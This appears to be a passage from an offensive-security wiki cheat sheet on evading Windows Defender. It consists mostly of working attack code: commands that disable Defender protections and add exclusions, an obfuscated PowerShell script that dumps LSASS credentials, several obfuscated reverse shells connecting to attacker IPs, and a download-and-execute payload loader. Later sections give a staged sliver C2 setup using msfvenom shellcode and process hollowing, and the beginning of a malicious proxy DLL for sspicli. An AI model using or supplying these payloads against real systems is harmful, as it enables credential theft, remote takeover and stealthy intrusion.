&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MPPreference&lt;br /&gt;
Set-MPPreference -DisableRealTimeMonitoring $true&lt;br /&gt;
Set-MPPreference -DisableIOAVProtection $true&lt;br /&gt;
Set-MPPreference -DisableIntrusionPreventionSystem $true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Add folder exclusion ====&lt;br /&gt;
&lt;br /&gt;
Adding a folder exclusion &amp;lt;code&amp;gt;Add-MpPreference -ExclusionPath &amp;quot;C:\temp&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Checking exclusions&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MpPreference | Select-Object -Property ExclusionPath&lt;br /&gt;
ExclusionPath&lt;br /&gt;
-------------&lt;br /&gt;
{C:\temp}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LSASS dumping without triggering Defender ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$S = &amp;quot;C:\temp&amp;quot;&lt;br /&gt;
$P = (Get-Process lsass)&lt;br /&gt;
$A = [PSObject].Assembly.GetType(&#039;Syst&#039;+&#039;em.Manage&#039;+&#039;ment.Autom&#039;+&#039;ation.Windo&#039;+&#039;wsErrorRe&#039;+&#039;porting&#039;)&lt;br /&gt;
$B = $A.GetNestedType(&#039;Nativ&#039;+&#039;eMethods&#039;, &#039;Non&#039;+&#039;Public&#039;)&lt;br /&gt;
$C = [Reflection.BindingFlags] &#039;NonPublic, Static&#039;&lt;br /&gt;
$D = $B.GetMethod(&#039;MiniDum&#039;+&#039;pWriteDump&#039;, $C)&lt;br /&gt;
$PF = &amp;quot;$($P.Name)_$($P.Id).dmp&amp;quot;&lt;br /&gt;
$PDP = Join-Path $S $PF&lt;br /&gt;
$F = New-Object IO.FileStream($PDP, [IO.FileMode]::Create)&lt;br /&gt;
$R = $D.Invoke($null, @($P.Handle,$G,$F.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))&lt;br /&gt;
$F.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse Shells ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Set-Alias -Name K -Value Out-String&lt;br /&gt;
Set-Alias -Name nothingHere -Value iex&lt;br /&gt;
$BT = New-Object &amp;quot;S`y`stem.Net.Sockets.T`CPCl`ient&amp;quot;($args[0],$args[1]);&lt;br /&gt;
$replace = $BT.GetStream();&lt;br /&gt;
[byte[]]$B = 0..(32768*2-1)|%{0};&lt;br /&gt;
$B = ([text.encoding]::UTF8).GetBytes(&amp;quot;(c) Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
[byte[]]$int = 0..(10000+55535)|%{0};&lt;br /&gt;
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;&lt;br /&gt;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);&lt;br /&gt;
$I = (nothingHere $ROM 2&amp;gt;&amp;amp;1 | K );&lt;br /&gt;
$I2  = $I + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$U = [text.encoding]::ASCII.GetBytes($I2);&lt;br /&gt;
$replace.Write($U,0,$U.Length);&lt;br /&gt;
$replace.Flush()};&lt;br /&gt;
$BT.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$SS = $J.GetStream();&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes(&amp;quot;Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);&lt;br /&gt;
$GG = (i`eX $DD 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$H  = $GG + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$L = ([text.encoding]::UTF8).GetBytes($H);&lt;br /&gt;
$SS.Write($L,0,$L.Length);&lt;br /&gt;
$SS.Flush()};&lt;br /&gt;
$J.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$I = $c.GetStream();&lt;br /&gt;
[byte[]]$U = 0..(2-shl15)|%{0};&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes(&amp;quot;Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);&lt;br /&gt;
$a = (iex $D 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$r  = $a + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$m = ([text.encoding]::ASCII).GetBytes($r);&lt;br /&gt;
$I.Write($m,0,$m.Length);&lt;br /&gt;
$I.Flush()};&lt;br /&gt;
$c.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
Reverse PowerShell:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&#039;10.10.14.5&#039;, 4445);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do{&lt;br /&gt;
        $writer.Write(&amp;quot;PS&amp;gt; &amp;quot;);&lt;br /&gt;
        $writer.Flush();&lt;br /&gt;
        $read = $null;&lt;br /&gt;
        while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}&lt;br /&gt;
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);&lt;br /&gt;
        $sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
        $sendback2  = $sendback;&lt;br /&gt;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);&lt;br /&gt;
        $writer.Write($sendbyte,0,$sendbyte.Length);&lt;br /&gt;
}While ($true);&lt;br /&gt;
$writer.close();$socket.close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PowerShell Download payload ====&lt;br /&gt;
&lt;br /&gt;
WebClient DownloadData [http://x.x.x.x/file.exe http://x.x.x.x/file.exe] method:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (new-object net.webclient).downloaddata(&amp;quot;http://10.10.16.74:8080/payload.exe&amp;quot;)&lt;br /&gt;
[System.Reflection.Assembly]::Load($bytes)&lt;br /&gt;
$BindingFlags= [Reflection.BindingFlags] &amp;quot;NonPublic,Static&amp;quot;&lt;br /&gt;
$main = [Shell].getmethod(&amp;quot;Main&amp;quot;, $BindingFlags)&lt;br /&gt;
$main.Invoke($null, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tools that may help with AV Evasion:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/phra/PEzor https://github.com/phra/PEzor]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/bats3c/darkarmour https://github.com/bats3c/darkarmour]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/loadenmb/tvasion https://github.com/loadenmb/tvasion]&lt;br /&gt;
&lt;br /&gt;
== C2 Frameworks ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2476 Command And Control – C2 Framework – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Bypassing defender with sliver and staged process hollowing ===&lt;br /&gt;
&lt;br /&gt;
I was able to bypass Windows Defender on a fully patched Windows 10 (12.12.2023) using process hollowing and sliver with shellcode generated by msfvenom.&lt;br /&gt;
&lt;br /&gt;
This is a two staged exectution. The first stage will get our stager for sliver and inject it to svchost using process hollowing. The next stage is sliver executing our implant on the target.&lt;br /&gt;
&lt;br /&gt;
Ps. I was able to bypass defender on Windows 11, however I had to run it through ConfuserEX and enable InsecureGuestAuth. Implementing an authentication method for SMB in the process hollowing code would&#039;ve helped us circumvent guest access blocking.&lt;br /&gt;
&lt;br /&gt;
First generate a shellcode using msfvenom.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.1.38 LPORT=1234 LURI=/hello.woff -f raw -o stager.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We will use a technique called process hollowing and place our shellcode in svchosts.exe. The shellcode will be hosted on my kali using smbserver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# Snippet from process hollowing code. See CheatSheet II for full code.&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
            string shellcodePath = &amp;quot;\\\\192.168.1.38\\share\\UNEVEN_DESTRUCTION.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
No I will start an smbserver on my kali and setup sliver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a new profile that will be we will use for our staging listener.&lt;br /&gt;
profiles new --mtls 192.168.1.38 --format shellcode win-shellcode&lt;br /&gt;
# Creata a steage listener and link it to our profile.&lt;br /&gt;
stage-listener --url http://192.168.1.38:1234 --profile win-shellcode --prepend-size&lt;br /&gt;
# Last start a listener on mTLS.&lt;br /&gt;
mtls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Convert .bin to shellcode \x hex ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/JohnHammond/binnim JohnHammond/binnim: Shitty Nim code that reads in a file and converts it into \x hex representation, for the use of shellcode binaries. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./binnim ~/shellcode.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Proxying ==&lt;br /&gt;
&lt;br /&gt;
This method involves creating a malicious DLL that mimics the interface of a legitimate DLL but adds malicious functionality. The proxy DLL forwards legitimate calls to the original DLL while performing malicious activities in the background.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Accenture/Spartacus?source=post_page-----733d423fc67b-------------------------------- sadreck/Spartacus: Spartacus DLL/COM Hijacking Toolkit (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; * Spartacus automates most of the process. It parses raw [https://learn.microsoft.com/en-us/sysinternals/downloads/procmon SysInternals Process Monitor] logs, and you can leave ProcMon running for hours and discover 2nd and 3rd level DLL/COM hijacking vulnerabilities (ie an app that loads another DLL that loads yet another DLL when you use a specific feature of the parent app).&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt; * Automatically generate Visual Studio solutions for vulnerable DLLs.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Spartacus.exe --mode dll --procmon C:\Users\Maldev\Destkop\Tools\Sysinternals\Procmon.exe --pml C:\Data\logs.pml --csv C:\Data\vulndll.csv --solution C:\Data\Solution --verbose&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Below is an example of DLL proxying of mattermost. In this example spartacus detected that sspicli.dll is missing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#pragma once&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcceptSecurityContext=C:\\Windows\\System32\\sspicli.AcceptSecurityContext,@4&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleA=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleA,@5&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleW=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleW,@6&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsA=C:\\Windows\\System32\\sspicli.AddCredentialsA,@7&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsW=C:\\Windows\\System32\\sspicli.AddCredentialsW,@8&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageA=C:\\Windows\\System32\\sspicli.AddSecurityPackageA,@9&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageW=C:\\Windows\\System32\\sspicli.AddSecurityPackageW,@10&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ApplyControlToken=C:\\Windows\\System32\\sspicli.ApplyControlToken,@11&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordA=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordA,@12&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordW=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordW,@13&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CompleteAuthToken=C:\\Windows\\System32\\sspicli.CompleteAuthToken,@14&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredMarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredMarshalTargetInfo,@15&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredUnmarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredUnmarshalTargetInfo,@16&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DecryptMessage=C:\\Windows\\System32\\sspicli.DecryptMessage,@17&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityContext=C:\\Windows\\System32\\sspicli.DeleteSecurityContext,@18&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageA=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageA,@19&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageW=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageW,@20&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EncryptMessage=C:\\Windows\\System32\\sspicli.EncryptMessage,@21&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesA=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesA,@22&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesW=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesW,@23&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ExportSecurityContext=C:\\Windows\\System32\\sspicli.ExportSecurityContext,@24&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeContextBuffer=C:\\Windows\\System32\\sspicli.FreeContextBuffer,@25&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeCredentialsHandle=C:\\Windows\\System32\\sspicli.FreeCredentialsHandle,@26&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetSecurityUserInfo=C:\\Windows\\System32\\sspicli.GetSecurityUserInfo,@27&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExA=C:\\Windows\\System32\\sspicli.GetUserNameExA,@28&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExW=C:\\Windows\\System32\\sspicli.GetUserNameExW,@29&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImpersonateSecurityContext=C:\\Windows\\System32\\sspicli.ImpersonateSecurityContext,@30&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextA=C:\\Windows\\System32\\sspicli.ImportSecurityContextA,@31&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextW=C:\\Windows\\System32\\sspicli.ImportSecurityContextW,@32&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceA=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceA,@33&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceW=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceW,@34&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextA=C:\\Windows\\System32\\sspicli.InitializeSecurityContextA,@35&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextW=C:\\Windows\\System32\\sspicli.InitializeSecurityContextW,@36&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LogonUserExExW=C:\\Windows\\System32\\sspicli.LogonUserExExW,@37&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaCallAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaCallAuthenticationPackage,@38&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectLocalUser=C:\\Windows\\System32\\sspicli.LsaConnectLocalUser,@39&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectUntrusted=C:\\Windows\\System32\\sspicli.LsaConnectUntrusted,@40&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaDeregisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaDeregisterLogonProcess,@41&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaEnumerateLogonSessions=C:\\Windows\\System32\\sspicli.LsaEnumerateLogonSessions,@42&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaFreeReturnBuffer=C:\\Windows\\System32\\sspicli.LsaFreeReturnBuffer,@43&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaGetLogonSessionData=C:\\Windows\\System32\\sspicli.LsaGetLogonSessionData,@44&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLogonUser=C:\\Windows\\System32\\sspicli.LsaLogonUser,@45&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLookupAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaLookupAuthenticationPackage,@46&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaRegisterLogonProcess,@47&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaRegisterPolicyChangeNotification,@48&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaSetMachineCertificate=C:\\Windows\\System32\\sspicli.LsaSetMachineCertificate,@49&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaUnregisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaUnregisterPolicyChangeNotification,@50&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:MakeSignature=C:\\Windows\\System32\\sspicli.MakeSignature,@51&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesA=C:\\Windows\\System32\\sspicli.QueryContextAttributesA,@52&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExA=C:\\Windows\\System32\\sspicli.QueryContextAttributesExA,@53&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExW=C:\\Windows\\System32\\sspicli.QueryContextAttributesExW,@54&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesW=C:\\Windows\\System32\\sspicli.QueryContextAttributesW,@55&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesA,@56&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExA,@57&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExW,@58&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesW,@59&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityContextToken=C:\\Windows\\System32\\sspicli.QuerySecurityContextToken,@60&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoA=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoA,@61&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoW=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoW,@62&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:RevertSecurityContext=C:\\Windows\\System32\\sspicli.RevertSecurityContext,@63&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslAcceptSecurityContext=C:\\Windows\\System32\\sspicli.SaslAcceptSecurityContext,@64&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesA=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesA,@65&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesW=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesW,@66&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetContextOption=C:\\Windows\\System32\\sspicli.SaslGetContextOption,@67&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageA=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageA,@68&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageW=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageW,@69&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageA=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageA,@70&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageW=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageW,@71&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextA=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextA,@72&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextW=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextW,@73&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslSetContextOption=C:\\Windows\\System32\\sspicli.SaslSetContextOption,@74&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SealMessage=C:\\Windows\\System32\\sspicli.SealMessage,@75&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecCacheSspiPackages=C:\\Windows\\System32\\sspicli.SecCacheSspiPackages,@76&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecDeleteUserModeContext=C:\\Windows\\System32\\sspicli.SecDeleteUserModeContext,@1&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecInitUserModeContext=C:\\Windows\\System32\\sspicli.SecInitUserModeContext,@2&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallFlags=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallFlags,@77&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallTarget=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallTarget,@78&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetIPAddress=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetIPAddress,@79&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciFreeCallContext=C:\\Windows\\System32\\sspicli.SeciFreeCallContext,@80&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciIsProtectedUser=C:\\Windows\\System32\\sspicli.SeciIsProtectedUser,@81&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesA=C:\\Windows\\System32\\sspicli.SetContextAttributesA,@82&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesW=C:\\Windows\\System32\\sspicli.SetContextAttributesW,@83&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesA=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesA,@84&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesW=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesW,@85&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCompareAuthIdentities=C:\\Windows\\System32\\sspicli.SspiCompareAuthIdentities,@86&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCopyAuthIdentity=C:\\Windows\\System32\\sspicli.SspiCopyAuthIdentity,@87&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentity,@88&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentityEx,@89&amp;quot;)&lt;br /&gt;
